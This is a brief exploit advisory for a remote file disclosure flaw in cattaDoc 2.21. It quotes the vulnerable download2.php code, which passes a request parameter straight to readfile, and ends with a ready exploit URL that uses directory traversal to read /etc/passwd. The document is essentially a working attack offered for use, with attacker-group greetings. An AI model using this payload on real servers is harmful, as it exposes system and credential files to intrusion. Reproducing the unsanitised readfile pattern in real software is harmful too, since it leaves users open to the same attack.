# cattaDoc 2.21(download2.php fn1)Remote File Disclosure Vulnerability
# D.Script: http://cattadoc.com/download/cattadoc-2.21.tgz
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group
# V.Code: 
##############################################################
# $tp = $_REQUEST['mtp'];                                    # 
# $ofn = '"'.$_REQUEST['fn2'].'"';                           # 
# header("Content-type: $tp");                               #
# header("Content-Disposition: attachment; filename=$ofn");  #
# readfile($_REQUEST['fn1']); <<----                         #
##############################################################
# Exploit:[Path_cattaDoc]/download2.php?fn1=../../../../../../etc/passwd